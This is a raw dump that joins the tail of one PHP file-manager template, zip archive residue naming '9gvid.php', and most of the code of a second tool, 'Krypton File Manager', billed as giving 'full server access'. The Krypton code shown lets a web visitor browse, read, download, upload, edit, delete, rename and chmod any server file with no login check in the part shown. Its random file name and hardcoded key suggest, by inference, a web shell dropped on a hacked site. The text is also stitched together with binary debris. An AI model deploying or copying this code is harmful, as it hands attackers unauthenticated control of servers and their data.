        .folder { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAAdgAAAHYBTnsmCAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAFYSURBVDiNpZM9SwNBEIafg4iFhY2N2FhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFjY2Ih/YGFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWHxX+zu3eY0kA8vszO7O/PO7M4q/keU/6vUfQ1AKaUBWoA2YAA4gA/gBXi11l5lBpRSOgA9wCgwDgwC3UAn0A40A1XgG3gC7oBL4Nxae5sCaK31gCFgCpgFJoA+oA1oARqBBkADv4ACvoBH4AY4A46stZcOoLXWAkaAeWABmAR6gVagCWhQShml1K9S6gdQgAJegGvgBDiw1l44gNZaD5gBloB5YALoAdqAJqWUVkr9KKW0UsoopX6VUt/AM3ALnAL71tpzB9Ba6wPzwAqwCIwD3UAr0KyU0kqpL6WUVkr9KKW+HIgH4Ao4BPastRcOoLXWBxaBVWABGAO6gBagUSn0opT6UEp9KKU+lFIfSqkP4AW4A06APWvtuQNorQ2AJWAVmANGgS6gBWhUSn0opd6VUu9KqXel1LtS6g14BW6BE2DPWnvmAFprA2AZWAPmgFGgE2gGGpRS70qpd6XUm1LqTSn1ppR6A96AO+AE2LXWnjmA1toAWAHWgTlgBOgAmoAGpdSbUupNKfWqlHpVSr0qpd6Bd+AOOAZ2rbVnDvAHs5xZ3Cz7j5AAAAAASUVORK5CYII="); }
        .file { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAAdgAAAHYBTnsmCAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAFYSURBVDiNpZM9SwNBEIafg4iFhY2N2FhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFjY2Ih/YGFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWHxX+zu3eY0kA8vszO7O/PO7M4q/keU/6vUfQ1AKaUBWoA2YAA4gA/gBXi11l5lBpRSOgA9wCgwDgwC3UAn0A40A1XgG3gC7oBL4Nxae5sCaK31gCFgCpgFJoA+oA1oARqBBkADv4ACvoBH4AY4A46stZcOoLXWAkaAeWABmAR6gVagCWhQShml1K9S6gdQgAJegGvgBDiw1l44gNZaD5gBloB5YALoAdqAJqWUVkr9KKW0UsoopX6VUt/AM3ALnAL71tpzB9Ba6wPzwAqwCIwD3UAr0KyU0kqpL6WUVkr9KKW+HIgH4Ao4BPastRcOoLXWBxaBVWABGAO6gBagUSn0opd6VUu9KqXel1LtS6g14BW6BE2DPWnvmAFprA2AZWAPmgFGgE2gGGpRS70qpd6XUm1LqTSn1ppR6A96AO+AE2LXWnjmA1toAWAHWgTlgBOgAmoAGpdSbUupNKfWqlHpVSr0qpd6Bd+AOOAZ2rbVnDvAHs5xZ3Cz7j5AAAAAASUVORK5CYII="); }
        .img { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAAdgAAAHYBTnsmCAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAFYSURBVDiNpZM9SwNBEIafg4iFhY2N2FhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFjY2Ih/YGFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWHxX+zu3eY0kA8vszO7O/PO7M4q/keU/6vUfQ1AKaUBWoA2YAA4gA/gBXi11l5lBpRSOgA9wCgwDgwC3UAn0A40A1XgG3gC7oBL4Nxae5sCaK31gCFgCpgFJoA+oA1oARqBBkADv4ACvoBH4AY4A46stZcOoLXWAkaAeWABmAR6gVagCWhQShml1K9S6gdQgAJegGvgBDiw1l44gNZaD5gBloB5YALoAdqAJqWUVkr9KKW0UsoopX6VUt/AM3ALnAL71tpzB9Ba6wPzwAqwCIwD3UAr0KyU0kqpL6WUVkr9KKW+HIgH4Ao4BPastRcOoLXWBxaBVWABGAO6gBagUSn0opd6VUu9KqXel1LtS6g14BW6BE2DPWnvmAFprA2AZWAPmgFGgE2gGGpRS70qpd6XUm1LqTSn1ppR6A96AO+AE2LXWnjmA1toAWAHWgTlgBOgAmoAGpdSbUopNKfWqlHpVSr0qpd6Bd+AOOAZ2rbVnDvAHs5xZ3Cz7j5AAAAAASUVORK5CYII="); }
        
        input, textarea, select {
            font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
            border: 1px solid #ccc;
            padding: 4px;
            margin: 2px;
        }
        
        input[type="submit"] {
            background: #006699;
            color: white;
            border: none;
            padding: 6px 12px;
            cursor: pointer;
        }
        
        <?= fm_home_style() ?>
        
        @media screen and (max-width: 768px) {
            table, thead, tbody, th, td, tr { display: block; }
            thead tr { position: absolute; top: -9999px; left: -9999px; }
            tr { border: 1px solid #ccc; margin-bottom: 10px; }
            td { border: none; position: relative; padding-left: 50%; }
            td:before { position: absolute; left: 6px; content: attr(data-label); font-weight: bold; }
        }
    </style>
</head>
<body>
    <!-- Header Section -->
    <table>
        <tr>
            <th colspan="2"><?= __('File manager') ?> - <?= htmlspecialchars($path) ?></th>
        </tr>
        <?php if (!empty($msg)): ?>
        <tr>
            <td colspan="2" class="row2"><?= $msg ?></td>
        </tr>
        <?php endif; ?>
        <tr>
            <td class="row2">
                <?= fm_home() ?>
                <?php if ($fm_config['make_directory']): ?>
                <form method="post" action="" style="display: inline;">
                    <input type="text" name="dirname" placeholder="<?= __('Make directory') ?>" size="15">
                    <input type="submit" name="mkdir" value="<?= __('Make directory') ?>">
                </form>
                <?php endif; ?>
                
                <?php if ($fm_config['new_file']): ?>
                <form method="post" action="" style="display: inline;">
                    <input type="text" name="filename" placeholder="<?= __('New file') ?>" size="15">
                    <input type="submit" name="mkfile" value="<?= __('New file') ?>">
                </form>
                <?php endif; ?>
            </td>
            <td class="row3" style="text-align: right;">
                <?php if ($fm_config['upload_file']): ?>
                <form method="post" action="" enctype="multipart/form-data" style="display: inline;">
                    <input type="file" name="upload" id="upload">
                    <input type="submit" value="<?= __('Upload') ?>">
                </form>
                <?php endif; ?>
                
                <?php if ($auth['authorize']): ?>
                <form action="" method="post" style="display: inline;">
                    <?= __('Hello') ?>, <?= $auth['login'] ?>
                    <input type="hidden" name="quit" value="1">
                    <input type="submit" value="<?= __('Quit') ?>">
                </form>
                <?php endif; ?>
                
                <?= fm_lang_form($language) ?>
            </td>
        </tr>
    </table>

    <!-- File Listing -->
    <table>
        <thead>
            <tr>
                <th><?= __('Filename') ?></th>
                <th><?= __('Size') ?></th>
                <th><?= __('Date') ?></th>
                <th><?= __('Rights') ?></th>
                <th colspan="4"><?= __('Manage') ?></th>
            </tr>
        </thead>
        <tbody>
            <?php
            $elements = fm_scan_dir($path, '', 'all', true);
            $dirs = $files = array();
            
            foreach ($elements as $file) {
                if (@is_dir($path . $file)) {
                    $dirs[] = $file;
                } else {
                    $files[] = $file;
                }
            }
            
            natsort($dirs);
            natsort($files);
            $elements = array_merge($dirs, $files);
            
            foreach ($elements as $file):
                $filename = $path . $file;
                $filedata = @stat($filename);
                $is_dir = @is_dir($filename);
                $style = $is_dir ? 'row2' : 'row1';
                
                if ($is_dir) {
                    $icon = 'folder';
                    $link = '<a href="?path=' . urlencode($path . $file) . '"><span class="' . $icon . '"></span> ' . htmlspecialchars($file) . '</a>';
                    $size = $fm_config['show_dir_size'] ? fm_dir_size($filename) : '';
                } else {
                    $icon = @getimagesize($filename) && $fm_config['show_img'] ? 'img' : 'file';
                    if ($icon == 'img') {
                        $link = '<a href="' . fm_img_link($filename) . '" target="_blank"><span class="' . $icon . '"></span> ' . htmlspecialchars($file) . '</a>';
                    } else {
                        $link = '<a href="?edit=' . urlencode($file) . '&path=' . urlencode($path) . '"><span class="' . $icon . '"></span> ' . htmlspecialchars($file) . '</a>';
                    }
                    $size = fm_dir_size($filename);
                }
            ?>
            <tr class="<?= $style ?>">
                <td data-label="<?= __('Filename') ?>"><?= $link ?></td>
                <td data-label="<?= __('Size') ?>"><?= $size ?></td>
                <td data-label="<?= __('Date') ?>"><?= date('Y-m-d H:i:s', $filedata[9]) ?></td>
                <td data-label="<?= __('Rights') ?>"><?= fm_rights_string($filename) ?></td>
                <td data-label="<?= __('Manage') ?>">
                    <?php if (!fm_root($file)): ?>
                    <a href="#" onclick="if(confirm('<?= $is_dir ? __('Are you sure you want to delete this directory (recursively)?') : __('Are you sure you want to delete this file?') ?>')) location.href='?delete=<?= urlencode($file) ?>&path=<?= urlencode($path) ?>'"><?= __('Delete') ?></a>
                    <?php endif; ?>
                </td>
                <td>
                    <?php if (!fm_root($file)): ?>
                    <a href="?rename=<?= urlencode($file) ?>&path=<?= urlencode($path) ?>"><?= __('Rename') ?></a>
                    <?php endif; ?>
                </td>
                <td>
                    <?php if (!$is_dir): ?>
                    <a href="?download=<?= base64_encode($filename) ?>"><?= __('Download') ?></a>
                    <?php endif; ?>
                </td>
                <td>
                    <?php if (!fm_root($file)): ?>
                    <a href="?edit=<?= urlencode($file) ?>&path=<?= urlencode($path) ?>"><?= __('Edit') ?></a>
                    <?php endif; ?>
                </td>
            </tr>
            <?php endforeach; ?>
        </tbody>
    </table>

    <!-- Footer -->
    <div class="row3">
        <?= fm_home() ?> | Version <?= $fm_version ?> | 
        <?php if ($fm_config['show_php_ver']): ?>PHP <?= phpversion() ?> | <?php endif; ?>
        <?php if ($fm_config['show_gt']): ?><?= __('Generation time') ?>: <?= round(microtime(true) - $starttime, 2) ?>s | <?php endif; ?>
        <?php if ($fm_config['show_phpinfo']): ?><a href="?phpinfo=true">phpinfo()</a> | <?php endif; ?>
        <?php if ($fm_config['fm_settings']): ?><a href="?fm_settings=true"><?= __('Settings') ?></a><?php endif; ?>
    </div>

    <?php
    // Handle file operations
    if (isset($_FILES['upload']) && $fm_config['upload_file']) {
        if (move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])) {
            echo '<script>location.reload();</script>';
        }
    }
    
    if (isset($_POST['mkdir']) && $fm_config['make_directory'] && !empty($_POST['dirname'])) {
        mkdir($path . $_POST['dirname'], 0755);
        echo '<script>location.reload();</script>';
    }
    
    if (isset($_POST['mkfile']) && $fm_config['new_file'] && !empty($_POST['filename'])) {
        file_put_contents($path . $_POST['filename'], '');
        echo '<script>location.reload();</script>';
    }
    
    if (isset($_GET['delete']) && !fm_root($_GET['delete'])) {
        fm_del_files($path . $_GET['delete'], true);
        echo '<script>location.href = "?path=' . urlencode($path) . '";</script>';
    }
    ?>
</body>
</html>PKz;m\�d��o�o�	9gvid.phpnu�[���<?php
/**
 * Krypton File Manager
 * A single-file PHP file manager with full server access and enhanced features
 */

// Start session
session_start();

// Configuration
define('VERSION', '1.0.0');
define('MAX_UPLOAD_SIZE', 100 * 1024 * 1024); // 100MB max upload size
define('ENCRYPTION_KEY', 'RCnFfs06w3ItXaCn7BWvyyFE1Rxdmz'); // Change this to a random string for security
define('SESSION_TIMEOUT', 1800); // 30 minutes session timeout

// Check if encryption key is default and show warning
$encryptionKeyWarning = '';
if (ENCRYPTION_KEY === 'change_this_to_a_random_string') {
    $encryptionKeyWarning = 'Warning: Default encryption key is being used. Please change it for security.';
}

// Session timeout check
if (isset($_SESSION['last_activity']) && (time() - $_SESSION['last_activity'] > SESSION_TIMEOUT)) {
    // Session expired
    session_unset();
    session_destroy();
}
$_SESSION['last_activity'] = time(); // Update last activity time

// Encryption and decryption functions
function encryptPath($path) {
    $iv = openssl_random_pseudo_bytes(16);
    $encrypted = openssl_encrypt($path, 'AES-256-CBC', ENCRYPTION_KEY, 0, $iv);
    return base64_encode($encrypted . '::' . base64_encode($iv));
}

function decryptPath($encryptedPath) {
    try {
        $decoded = base64_decode($encryptedPath);
        if ($decoded === false) {
            return getcwd(); // Default to current directory if decoding fails
        }
        
        if (strpos($decoded, '::') === false) {
            return getcwd(); // Default to current directory if separator not found
        }
        
        list($encrypted_data, $iv_b64) = explode('::', $decoded, 2);
        $iv = base64_decode($iv_b64);
        
        if ($iv === false || strlen($iv) !== 16) {
            return getcwd(); // Default to current directory if IV is invalid
        }
        
        $decrypted = openssl_decrypt($encrypted_data, 'AES-256-CBC', ENCRYPTION_KEY, 0, $iv);
        
        if ($decrypted === false) {
            return getcwd(); // Default to current directory if decryption fails
        }
        
        return $decrypted;
    } catch (Exception $e) {
        return getcwd(); // Default to current directory on any exception
    }
}

// Function to get human-readable file size
function formatFileSize($bytes) {
    if ($bytes >= 1073741824) {
        return number_format($bytes / 1073741824, 2) . ' GB';
    } elseif ($bytes >= 1048576) {
        return number_format($bytes / 1048576, 2) . ' MB';
    } elseif ($bytes >= 1024) {
        return number_format($bytes / 1024, 2) . ' KB';
    } else {
        return $bytes . ' bytes';
    }
}

// Function to get file permissions in Unix format
function getFilePermissions($file) {
    $perms = fileperms($file);
    
    if (($perms & 0xC000) == 0xC000) {
        // Socket
        $info = 's';
    } elseif (($perms & 0xA000) == 0xA000) {
        // Symbolic Link
        $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
        // Regular
        $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
        // Block special
        $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
        // Directory
        $info = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
        // Character special
        $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
        // FIFO pipe
        $info = 'p';
    } else {
        // Unknown
        $info = 'u';
    }
    
    // Owner
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ?
                (($perms & 0x0800) ? 's' : 'x' ) :
                (($perms & 0x0800) ? 'S' : '-'));
    
    // Group
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ?
                (($perms & 0x0400) ? 's' : 'x' ) :
                (($perms & 0x0400) ? 'S' : '-'));
    
    // World
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ?
                (($perms & 0x0200) ? 't' : 'x' ) :
                (($perms & 0x0200) ? 'T' : '-'));
    
    return $info;
}

// Function to get file extension
function getFileExtension($filename) {
    return strtolower(pathinfo($filename, PATHINFO_EXTENSION));
}

// Function to check if a file is editable
function isEditableFile($filename) {
    /*
    $editableExtensions = ['txt', 'php', 'html', 'htm', 'css', 'js', 'json', 'xml', 'md', 'ini', 'conf', 'log', 'sql', 'htaccess'];
    $extension = getFileExtension($filename);
    return in_array($extension, $editableExtensions);
    */
    return true;
}

// Process actions
$error = '';
$success = '';

// Get and decrypt the path parameter
$currentPath = getcwd(); // Default path

// Check if there's a current path in the session
if (isset($_SESSION['current_path']) && file_exists($_SESSION['current_path']) && is_dir($_SESSION['current_path'])) {
    $currentPath = $_SESSION['current_path'];
}

// Handle POST request for navigation
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Store current path for form submissions
    if (isset($_POST['current_path'])) {
        $decryptedCurrentPath = decryptPath($_POST['current_path']);
        if (file_exists($decryptedCurrentPath) && is_dir($decryptedCurrentPath)) {
            $currentPath = $decryptedCurrentPath;
            $_SESSION['current_path'] = $currentPath;
        }
    }
    
    if (isset($_POST['action'])) {
        // Handle file content request for editing
        if ($_POST['action'] === 'getContent' && isset($_POST['path'])) {
            $filePath = decryptPath($_POST['path']);
            if (file_exists($filePath) && !is_dir($filePath) && isEditableFile(basename($filePath))) {
                echo file_get_contents($filePath);
                exit;
            } else {
                echo "Error: Cannot read file.";
                exit;
            }
        }
        
        // Handle navigation
        if ($_POST['action'] === 'navigate' && isset($_POST['path'])) {
            $decryptedPath = decryptPath($_POST['path']);
            if (file_exists($decryptedPath) && is_dir($decryptedPath)) {
                $currentPath = $decryptedPath;
                $_SESSION['current_path'] = $currentPath;
            }
        }
        
        // Handle file download
        if ($_POST['action'] === 'download' && isset($_POST['path'])) {
            $downloadPath = decryptPath($_POST['path']);
            
            if (file_exists($downloadPath) && !is_dir($downloadPath)) {
                // Set headers for file download
                header('Content-Description: File Transfer');
                header('Content-Type: application/octet-stream');
                header('Content-Disposition: attachment; filename="' . basename($downloadPath) . '"');
                header('Content-Transfer-Encoding: binary');
                header('Expires: 0');
                header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
                header('Pragma: public');
                header('Content-Length: ' . filesize($downloadPath));
                ob_clean();
                flush();
                readfile($downloadPath);
                exit;
            }
        }
    }
    
    // Handle file upload
    if (isset($_POST['upload'])) {
        if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
            $uploadPath = $currentPath . '/' . basename($_FILES['file']['name']);
            
            if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadPath)) {
                $success = 'File uploaded successfully.';
            } else {
                $error = 'Failed to upload file.';
            }
        } else {
            $error = 'No file selected or upload error.';
        }
    }
    
    // Handle file/directory deletion
    if (isset($_POST['delete']) && isset($_POST['path'])) {
        $deletePath = decryptPath($_POST['path']);
        
        if (file_exists($deletePath)) {
            if (is_dir($deletePath)) {
                // Try to remove directory
                if (rmdir($deletePath)) {
                    $success = 'Directory deleted successfully.';
                } else {
                    $error = 'Failed to delete directory. It may not be empty.';
                }
            } else {
                // Remove file
                if (unlink($deletePath)) {
                    $success = 'File deleted successfully.';
                } else {
                    $error = 'Failed to delete file.';
                }
            }
        } else {
            $error = 'File or directory does not exist.';
        }
    }
    
    // Handle file/directory rename
    if (isset($_POST['rename']) && isset($_POST['oldPath']) && isset($_POST['newName'])) {
        $oldPath = decryptPath($_POST['oldPath']);
        $newName = $_POST['newName'];
        $dirName = dirname($oldPath);
        $newPath = $dirName . '/' . $newName;
        
        if (file_exists($oldPath)) {
            if (rename($oldPath, $newPath)) {
                $success = 'Renamed successfully.';
            } else {
                $error = 'Failed to rename.';
            }
        } else {
            $error = 'File or directory does not exist.';
        }
    }
    
    // Handle permission change
    if (isset($_POST['changePermissions']) && isset($_POST['permPath']) && isset($_POST['permissions'])) {
        $permPath = decryptPath($_POST['permPath']);
        $permissions = $_POST['permissions'];
        
        // Convert from octal string to integer
        $mode = octdec($permissions);
        
        if (file_exists($permPath)) {
            if (chmod($permPath, $mode)) {
                $success = 'Permissions changed successfully.';
            } else {
                $error = 'Failed to change permissions.';
            }
        } else {
            $error = 'File or directory does not exist.';
        }
    }
    
    // Handle file edit
    if (isset($_POST['saveFile']) && isset($_POST['filePath']) && isset($_POST['fileContent'])) {
        $filePath = decryptPath($_POST['filePath']);
        $fileContent = $_POST['fileContent'];
        
        if (file_exists($filePath) && !is_dir($filePath)) {
            if (file_put_contents($filePath, $fileContent) !== false) {
                $success = 'File saved successfully.';
            } else {
                $error = 'Failed to save file.';
            }
        } else {
            $error = 'File does not exist.';
        }
    }
    
    // Handle create new file
    if (isset($_POST['createFile']) && isset($_POST['newFileName'])) {
        $newFileName = $_POST['newFileName'];
        $newFilePath = $currentPath . '/' . $newFileName;
        
        if (!file_exists($newFilePath)) {
            if (file_put_contents($newFilePath, '') !== false) {
                $success = 'File created successfully.';
            } else {
                $error = 'Failed to create file.';
            }
        } else {
            $error = 'File already exists.';
        }
    }
    
    // Handle create new folder
    if (isset($_POST['createFolder']) && isset($_POST['newFolderName'])) {
        $newFolderName = $_POST['newFolderName'];
        $newFolderPath = $currentPath . '/' . $newFolderName;
        
        if (!file_exists($newFolderPath)) {
            if (mkdir($newFolderPath, 0755)) {
                $success = 'Folder created successfully.';
            } else {
                $error = 'Failed to create folder.';
            }
        } else {
            $error = 'Folder already exists.';
        }
    }
}

// Save current path to session
$_SESSION['current_path'] = $currentPath;

// Get directory contents
$items = [];
if (is_dir($currentPath)) {
    if ($handle = opendir($currentPath)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $fullPath = $currentPath . '/' . $entry;
                $isDir = is_dir($fullPath);
                
                try {
                    $size = $isDir ? '-' : formatFileSize(filesize($fullPath));
                    $permissions = getFilePermissions($fullPath);
                    $lastModified = date('Y-m-d H:i:s', filemtime($fullPath));
                    
                    $items[] = [
                        'name' => $entry,
                        'path' => $fullPath,
                        'encryptedPath' => encryptPath($fullPath),
                        'isDirectory' => $isDir,
                        'size' => $size,
                        'permissions' => $permissions,
                        'lastModified' => $lastModified,
                        'isEditable' => !$isDir && isEditableFile($entry)
                    ];
                } catch (Exception $e) {
                    // Skip files that can't be accessed
                    continue;
                }
            }
        }
        closedir($handle);
    }
}

// Sort items: directories first, then files
usort($items, function($a, $b) {
    if ($a['isDirectory'] && !$b['isDirectory']) {
        return -1;
    }
    if (!$a['isDirectory'] && $b['isDirectory']) {
        return 1;
    }
    return strcasecmp($a['name'], $b['name']);
});

// Get breadcrumb parts
$breadcrumbs = [];
$pathParts = explode('/', $currentPath);
$buildPath = '';

foreach ($pathParts as $part) {
    if (empty($part)) {
        $buildPath = '/';
        $breadcrumbs[] = [
            'name' => 'Root',
            'path' => $buildPath,
            'encryptedPath' => encryptPath($buildPath)
        ];
    } else {
        $buildPath .= ($buildPath === '/') ? $part : '/' . $part;
        $breadcrumbs[] = [
            'name' => $part,
            'path' => $buildPath,
            'encryptedPath' => encryptPath($buildPath)
        ];
    }
}

// Get the script's directory for the Home button
$homeDirectory = dirname($_SERVER['SCRIPT_FILENAME']);
$encryptedHomeDirectory = encryptPath($homeDirectory);

// Encrypt current path for forms
$encryptedCurrentPath = encryptPath($currentPath);
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Krypton File Manager</title>
    <style>
        /* Base styles and reset */
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: 'Inter', 'Roboto', 'Helvetica', sans-serif;
        }
        
        body {
            background-image: url('https://w.wallhaven.cc/full/ex/wallhaven-exd3w8.png');
            background-size: cover;
            background-position: center;
            background-repeat: no-repeat;
            background-color: #f9f9f9;
            /* Fallback color */
            color: #333333;
            line-height: 1.6;
        }

        .container {
            max-width: 1200px;
            margin: 0 auto;
            padding: 0 20px;
        }
        
        /* Navigation bar */
        .navbar {
            background-color: #ffffff;
            box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);
            padding: 15px 0;
            position: sticky;
            top: 0;
            z-index: 100;
        }
        
        .navbar-content {
            display: flex;
            align-items: center;
            justify-content: space-between;
        }
        
        .navbar h1 {
            color: #333333;
            font-size: 1.5rem;
            font-weight: 500;
        }
        
        .version {
            font-size: 0.8rem;
            color: #777;
            margin-left: 10px;
        }
        
        .navbar-actions {
            display: flex;
            gap: 10px;
        }
        
        .home-btn {
            background-color: #4a6cf7;
            color: white;
            border: none;
            padding: 8px 15px;
            border-radius: 6px;
            cursor: pointer;
            font-weight: 500;
            text-decoration: none;
            display: inline-flex;
            align-items: center;
            transition: all 0.2s ease;
        }
        
        .home-btn:hover {
            background-color: #3a5ce5;
            transform: translateY(-2px);
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
        }
        
        .home-icon {
            margin-right: 5px;
        }
        
        /* Breadcrumb navigation */
        .breadcrumb {
            display: flex;
            align-items: center;
            padding: 12px 0;
            margin-bottom: 15px;
            overflow-x: auto;
            white-space: nowrap;
        }
        
        .breadcrumb-item {
            display: flex;
            align-items: center;
        }
        
        .breadcrumb-item a {
            color: #4a6cf7;
            text-decoration: none;
            padding: 5px 8px;
            border-radius: 4px;
            transition: background-color 0.2s;
            cursor: pointer;
        }
        
        .breadcrumb-item a:hover {
            background-color: rgba(74, 108, 247, 0.1);
        }
        
        .breadcrumb-separator {
            margin: 0 5px;
            color: #999;
        }
        
        .breadcrumb-current {
            font-weight: 500;
            padding: 5px 8px;
        }
        
        /* Section styling */
        .section {
            background-color: rgba(255, 255, 255, 0.9);
            border-radius: 8px;
            box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);
            padding: 20px;
            margin-bottom: 20px;
            box-shadow: rgba(50, 50, 93, 0.25) 0px 2px 5px -1px, rgba(0, 0, 0, 0.3) 0px 1px 3px -1px;
        }
        
        .section-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 15px;
        }
        
        .section-title {
            font-size: 1.1rem;
            color: #333333;
            font-weight: 500;
        }
        
        .section-actions {
            display: flex;
            gap: 10px;
        }
        
        /* Upload form */
        .upload-form {
            display: flex;
            flex-wrap: wrap;
            gap: 10px;
            align-items: center;
        }
        
        .upload-form input[type="file"] {
            flex: 1;
            min-width: 200px;
            padding: 10px;
            border: 1px solid #e0e0e0;
            border-radius: 6px;
            background-color: #ffffff;
        }
        
        .btn {
            background-color: #4a6cf7;
            color: white;
            border: none;
            padding: 10px 20px;
            border-radius: 6px;
            cursor: pointer;
            font-weight: 500;
            transition: all 0.2s ease;
        }
        
        .btn:hover {
            background-color: #3a5ce5;
            transform: translateY(-2px);
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
        }
        
        .btn-sm {
            padding: 6px 12px;
            font-size: 0.9rem;
        }
        
        .btn-success {
            background-color: #28a745;
        }
        
        .btn-success:hover {
            background-color: #218838;
        }
        
        /* File list table */
        .file-table-container {
            overflow-x: auto;
        }
        
        .file-table {
            width: 100%;
            border-collapse: collapse;
            margin-top: 10px;
        }
        
        .file-table th {
            background-color: #f5f5f5;
            padding: 12px 15px;
            text-align: left;
            font-weight: 500;
            border-bottom: 1px solid #e0e0e0;
            position: relative;
        }
        
        .file-table td {
            padding: 12px 15px;
            border-bottom: 1px solid #e0e0e0;
        }
        
        .file-table tr:hover {
            background-color: #f5f7ff;
        }
        
        .file-name {
            display: flex;
            align-items: center;
            gap: 8px;
        }
        
        .folder-icon::before {
            content: "📁";
        }
        
        .file-icon::before {
            content: "📄";
        }
        
        /* Action buttons */
        .action-buttons {
            display: flex;
            gap: 8px;
        }
        
        .action-btn {
            background: none;
            border: none;
            cursor: pointer;
            font-size: 1rem;
            color: #555;
            transition: all 0.2s ease;
            width: 28px;
            height: 28px;
            display: flex;
            align-items: center;
            justify-content: center;
            border-radius: 4px;
        }
        
        .action-btn:hover {
            background-color: #f0f0f0;
            color: #333;
        }
        
        /* Modal styles */
        .modal {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.5);
            z-index: 1000;
            justify-content: center;
            align-items: center;
        }
        
        .modal-content {
            background-color: white;
            padding: 25px;
            border-radius: 8px;
            width: 90%;
            max-width: 400px;
            box-shadow: 0 4px 20px rgba(0, 0, 0, 0.15);
        }
        
        .modal-content.modal-lg {
            max-width: 800px;
            height: 80%;
            display: flex;
            flex-direction: column;
        }
        
        .modal-title {
            font-size: 1.2rem;
            margin-bottom: 15px;
            font-weight: 500;
        }
        
        .modal-form {
            display: flex;
            flex-direction: column;
            gap: 15px;
        }
        
        .editor-form {
            display: flex;
            flex-direction: column;
            gap: 15px;
            flex-grow: 1;
        }
        
        .form-group {
            display: flex;
            flex-direction: column;
            gap: 5px;
        }
        
        .form-group label {
            font-weight: 500;
        }
        
        .form-group input {
            padding: 8px 12px;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        
        .form-group textarea {
            flex-grow: 1;
            padding: 12px;
            border: 1px solid #ddd;
            border-radius: 4px;
            font-family: 'Courier New', monospace;
            font-size: 14px;
            resize: none;
        }
        
        .modal-actions {
            display: flex;
            justify-content: flex-end;
            gap: 10px;
            margin-top: 20px;
        }
        
        .btn-cancel {
            background-color: #f0f0f0;
            color: #333;
        }
        
        .btn-cancel:hover {
            background-color: #e0e0e0;
        }
        
        /* Alerts */
        .alert {
            padding: 12px 15px;
            margin-bottom: 15px;
            border-radius: 4px;
            font-weight: 500;
        }
        
        .alert-success {
            background-color: #d4edda;
            color: #155724;
            border: 1px solid #c3e6cb;
        }
        
        .alert-error {
            background-color: #f8d7da;
            color: #721c24;
            border: 1px solid #f5c6cb;
        }
        
        .alert-warning {
            background-color: #fff3cd;
            color: #856404;
            border: 1px solid #ffeeba;
        }
        
        /* Footer */
        .footer {
            text-align: center;
            padding: 20px 0;
            color: #777;
            font-size: 0.9rem;
        }
        
        /* Loading overlay */
        .loading-overlay {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.5);
            z-index: 2000;
            justify-content: center;
            align-items: center;
        }
        
        .spinner {
            width: 50px;
            height: 50px;
            border: 5px solid #f3f3f3;
            border-top: 5px solid #3498db;
            border-radius: 50%;
            animation: spin 1s linear infinite;
        }
        
        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }
        
        /* Responsive design */
        @media (max-width: 768px) {
            .upload-form {
                flex-direction: column;
                align-items: stretch;
            }
            
            .upload-form input[type="file"] {
                width: 100%;
            }
            
            .action-buttons {
                flex-wrap: wrap;
            }
            
            .section-header {
                flex-direction: column;
                align-items: flex-start;
                gap: 10px;
            }
            
            .section-actions {
                width: 100%;
            }
            
            .btn {
                width: 100%;
            }
        }
    </style>
</head>
<body>
    <!-- Loading Overlay -->
    <div id="loadingOverlay" class="loading-overlay">
        <div class="spinner"></div>
    </div>

    <!-- Navigation Bar -->
    <nav class="navbar">
        <div class="container navbar-content">
            <h1>Krypton <span class="version">v<?php echo VERSION; ?></span></h1>
